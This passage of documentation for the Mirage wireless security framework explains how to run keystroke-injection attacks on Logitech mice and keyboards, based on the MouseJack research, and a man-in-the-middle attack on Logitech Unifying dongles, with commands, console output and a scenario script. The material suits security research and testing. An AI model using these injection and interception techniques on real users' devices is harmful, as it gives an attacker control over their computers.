[PTX|98|E8:46:F9:2F:A4]:

You can automatically find the PRX using the find_prx command :

[PTX|98|E8:46:F9:2F:A4]: find_prx
[SUCCESS] ACK received from PRX on channel #8
[PTX| 8|E8:46:F9:2F:A4]:

Or you can also manually set the channel using channel command :

[PTX| 8|E8:46:F9:2F:A4]: channel 23
[PTX|23|E8:46:F9:2F:A4]:

You can enable the follow mode using follow_prx command:

[PTX|23|E8:46:F9:2F:A4]: follow_prx
[PTX| 8|E8:46:F9:2F:A4]:

and disable it using unfollow_prx:

[PTX| 8|E8:46:F9:2F:A4]: unfollow_prx
[PTX| 8|E8:46:F9:2F:A4]:

Finally, you can easily transmit payloads using send:

[PTX| 8|E8:46:F9:2F:A4]: send 0f0f0f0f
[SUCCESS] ACK received.
[PTX| 8|E8:46:F9:2F:A4]: send 0f0f0f0f,1122,3344
[SUCCESS] ACK received.
[SUCCESS] ACK received.
[SUCCESS] ACK received.

Customizing the behaviour using scenarios

If you want to use a scenario, you can use the create_scenario command in order to generate a basic code :

$ mirage --create_scenario
[QUESTION] Scenario's name : esb_ptx_test
[SUCCESS] Scenario master_test successfully generated : /home/user/.mirage/scenarios/esb_ptx_test.py
[INFO] Mirage process terminated !

Then, you can modify the code as you want.

If you want to use this scenario, just provide its name as the value of the input parameter SCENARIO :

$ sudo mirage esb_ptx SCENARIO=esb_ptx_test
[INFO] Module esb_ptx loaded !
[INFO] Scenario loaded !
[...]
[INFO] Mirage process terminated !

Performing keystrokes injection attacks

Two main scenarios are provided, allowing to easily perform the unencrypted and encrypted keystrokes injection attacks targeting Logitech mices and keyboards described in MouseJack whitepaper:

  • logitech_unencrypted_keystrokes_injection: This scenario allows to inject unencrypted keystrokes to a wireless mouse address, bypassing the encryption.

  • logitech_encrypted_keystrokes_injection: This scenario allows to inject forged encrypted keystrokes by exploiting a weakness in the AES implementation of Logitech Unifying.

These scenarios can be used by providing them as a scenario to the module. They can be used in three modes :

If you want to inject a simple text, provide a new parameter named TEXT to the module:

$ mirage esb_ptx TARGET=E8:46:F9:2F:A4 SCENARIO=logitech_unencrypted_keystrokes_injection TEXT=bonjour
[INFO] Module esb_ptx loaded !
[INFO] Enabling following mode ...
[INFO] Scenario loaded !
[INFO] Following mode disabled by the scenario.
[INFO] Generating attack stream ...
[INFO] Text injection: bonjour
[INFO] Looking for target E8:46:F9:2F:A4...
[SUCCESS] Target found !
[INFO] Injecting ...
bonjour

If you want to perform a more complex keystrokes injection, you can provide a duckyscript file:

$ cat > /tmp/duck.ducky
DELAY 1000
ALT F2
DELAY 1000
STRING firefox https://homepages.laas.fr/rcayre/mirage-documentation
DELAY 1000
ENTER
$ mirage esb_ptx TARGET=E8:46:F9:2F:A4 SCENARIO=logitech_unencrypted_keystrokes_injection DUCKYSCRIPT=/tmp/duck.ducky
[INFO] Module esb_ptx loaded !
[INFO] Enabling following mode ...
[INFO] Scenario loaded !
[INFO] Following mode disabled by the scenario.
[INFO] Generating attack stream ...
[INFO] Duckyscript injection: /tmp/duck.ducky
[INFO] Looking for target E8:46:F9:2F:A4...
[SUCCESS] Target found !
[INFO] Injecting ...
[INFO] Terminating scenario ...
[INFO] Mirage process terminated !

Finally, you can also use the interactive mode in order to directly interact with the target computer:

$ mirage esb_ptx TARGET=E8:46:F9:2F:A4 SCENARIO=logitech_unencrypted_keystrokes_injection INTERACTIVE=yes
[INFO] Module esb_ptx loaded !
[INFO] Enabling following mode ...
[INFO] Scenario loaded !
[INFO] Following mode disabled by the scenario.
[INFO] Generating attack stream ...
[INFO] Interactive mode
[INFO] Looking for target E8:46:F9:2F:A4...
[SUCCESS] Target found !
[INFO] Injecting ...
[INFO] Injecting:b
[INFO] Injecting:o
[INFO] Injecting:n
[INFO] Injecting:j
[INFO] Injecting:o
[INFO] Injecting:u
[INFO] Injecting:r
[...]

esb_mitm

Presentation

esb_mitm allows to perform an experimental Man-in-the-Middle attack targeting a Logitech Unifying device. It works with two RFStorm Device, allowing to use the normal mode in order to capture frames. The attack is based on the fact that Logitech Unifying devices implement a custom channel hopping algorithm, aiming at maximizing the time on a specific channel. The dongle and the device (mouse or keyboard) acts as follow:

  • the device regularly sends to the dongle Keep Alive frames including a timeout field,

  • the dongle stays on the same channel until it receives no frame before the last Keep Alive timeout expiration,

  • the device stays on the same channel until it receives no acknowledgment to its transmitted frames,

  • when the dongle or the device have to change the channel, they randomly explore channels until they are on the same one.

This attack will find the channel used by the dongle and the device, then the module will inject a Keep Alive packet with a very low timeout value. As a consequence, the dongle will quickly consider the connection as lost and change its channel. Then, the module will start acknowledging device’s frames on the initial channel i with the first device and transmit Keep Alive frames on another channel j. If the dongle jumps to channel j, it will consider that the Keep Alive frames are transmitted by the legitimate device and will stay on this channel. As a result, the device and the dongle are stuck on different channels, the attacker can then interact with both of them independantly and is in a Man-in-the-Middle position.

By default, once the Man-in-the-Middle is active, the module will forward packets to the dongle. However, you can use a scenario to customize the module’s behaviour.

Keep in mind that this attack is only compatible with Logitech Unifying devices, and may be quite unstable.

Compatible devices

Input parameters

Name

Default value

Possible values

Description

INTERFACE1

rfstorm0

rfstormX

First interface to use

INTERFACE2

rfstorm1

rfstormX

Second interface to use

TARGET

<ESB adress>

Address of the target device

SHOW_ACK

no

yes|no

Show acknowledgments frames from dongle

TIMEOUT

2

<integer>

Time without receiving packets before the connection is considered as lost by the module

SCENARIO

<scenario>

Scenario to use

Output parameters

This module doesn’t provide any output parameters.

Scenario signals

The behaviour of this module can be modified using scenarios. If you need more details about Mirage scenarios, their usage is described here. The following signals are generated by this module if a scenario is provided using the SCENARIO input parameter :

Signal

Parameters

Activation

Default behaviour

onStart

when the module starts its execution

nothing is executed

onEnd

when the module stops its execution

nothing is executed

onKey

key

when a key is pressed

nothing is executed

onLogitechMousePacket

packet

when a Logitech Mouse packet is received

the packet is redirected

onLogitechSetTimeoutPacket

packet

when a Logitech Set Timeout packet is received

the packet is redirected

onLogitechUnencryptedKeyReleasePacket

packet

when a Logitech Unencrypted Key Release packet is received

the packet is redirected

onLogitechUnencryptedKeyPressPacket

packet

when a Logitech Unencrypted Key Press packet is received

the packet is redirected

onLogitechKeepAlivePacket

packet

when a Logitech Keep Alive packet is received

the packet is redirected

onLogitechEncryptedKeystrokePacket

packet

when a Logitech Encrypted Keystroke packet is received

the packet is redirected

onLogitechMultimediaKeyPressPacket

packet

when a Logitech Multimedia Key Press packet is received

the packet is redirected

onLogitechMultimediaKeyReleasePacket

packet

when a Logitech Multimedia Key Release packet is received

the packet is redirected

onAcknowledgmentPacket

packet

when an Acknowledgment packet is received

the packet is ignored (because Auto Acknowledgment is enabled)

Usage

Basic Usage

If you want to attack a specific target, you have to provide the TARGET parameter :

$ mirage esb_mitm TARGET=6A:62:49:49:A4
[INFO] Module esb_mitm loaded !
[INFO] Entering SCAN stage ...
[SUCCESS] Dongle found !
[INFO] Entering DESYNC stage ...
[INFO] Transmitting ACK frames for device on channel 32 ...
[INFO] Transmitting KeepAlive frames for dongle on channel 47 ...
[PACKET] [ CH:32 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=-8 | y=6 >>
[INFO] Injecting malicious KeepAlive...
[...]
[PACKET] [ CH:32 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=-5 | y=1 >>
[INFO] Injecting malicious KeepAlive...
[SUCCESS] Acknowledgment received on channel 71!
[INFO] Entering ACTIVE_MITM stage ...
[INFO] Mouse packet (from device): x = 13 / y = 24
[INFO] Redirecting to dongle ...
[INFO] Mouse packet (from device): x = 9 / y = 13
[INFO] Redirecting to dongle ...
[INFO] Mouse packet (from device): x = 2 / y = 9
[INFO] Redirecting to dongle ...
[INFO] Mouse packet (from device): x = 0 / y = 2
[INFO] Redirecting to dongle ...

Customizing the behaviour using scenarios

It’s quite easy to modify the behaviour of this module using a scenario. If you need more details about scenarios, their usage is described here. As an example, we provide a scenario named logitech_invert_mouse_mitm.py, allowing to invert the mouse movements on the fly during a Man-in-the-Middle attack:

from mirage.core import scenario
from mirage.libs import io,esb,utils,wireless

class logitech_invert_mouse_mitm(scenario.Scenario):
        # When the module starts...
        def onStart(self):
                self.dongleEmitter = self.module.dongleEmitter
                self.dongleReceiver = self.module.dongleReceiver
                self.deviceEmitter = self.module.deviceEmitter
                self.deviceReceiver = self.module.deviceReceiver

        # When a Logitech mouse packet is received...
        def onLogitechMousePacket(self,pkt):
                # Invert mouse button
                if pkt.buttonMask != 0x00:
                        if pkt.buttonMask == 0x01:
                                invertedButton = 0x02
                        else:
                                invertedButton = 0x01
                else:
                        invertedButton = 0x00
                # Transmit packet
                new = esb.ESBLogitechMousePacket(address=self.module.args["TARGET"],x=-pkt.x, y=-pkt.y, buttonMask = invertedButton)
                self.dongleEmitter.sendp(new)

                # Prevent default behaviour
                return False

To launch this attack, you only have to provide the scenario’s name as SCENARIO input parameter :

$ mirage esb_mitm TARGET=6A:62:49:49:A4 SCENARIO=logitech_invert_mouse_mitm
[INFO] Module esb_mitm loaded !
[INFO] Scenario loaded !
[INFO] Entering SCAN stage ...
[SUCCESS] Dongle found !
[INFO] Entering DESYNC stage ...
[PACKET] [ CH:71 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=0 | y=-4 >>
[INFO] Injecting malicious KeepAlive...
[INFO] Transmitting ACK frames for device on channel 71 ...
[INFO] Transmitting KeepAlive frames for dongle on channel 65 ...
[...]
[PACKET] [ CH:62 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=0 | y=-1 >>
[INFO] Injecting malicious KeepAlive...
[PACKET] [ CH:62 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=0 | y=-2 >>
[INFO] Injecting malicious KeepAlive...
[PACKET] [ CH:62 ] << ESB - Logitech Mouse Packet (logitech) | address=6A:62:49:49:A4 | x=1 | y=0 >>
[INFO] Injecting malicious KeepAlive...
[SUCCESS] Acknowledgment received on channel 8!
[INFO] Entering ACTIVE_MITM stage ...
[INFO] Keep Alive Packet (from device): timeout = 85
[INFO] Redirecting to dongle ...
[INFO] Set Timeout packet (from device): timeout = 85
[INFO] Redirecting to dongle ...
[INFO] Set Timeout packet (from device): timeout = 85
[INFO] Redirecting to dongle ...

If the attack is successful, every mouse movement should be inverted (x replaced by -x, y replaced by -y and inverted button clicks).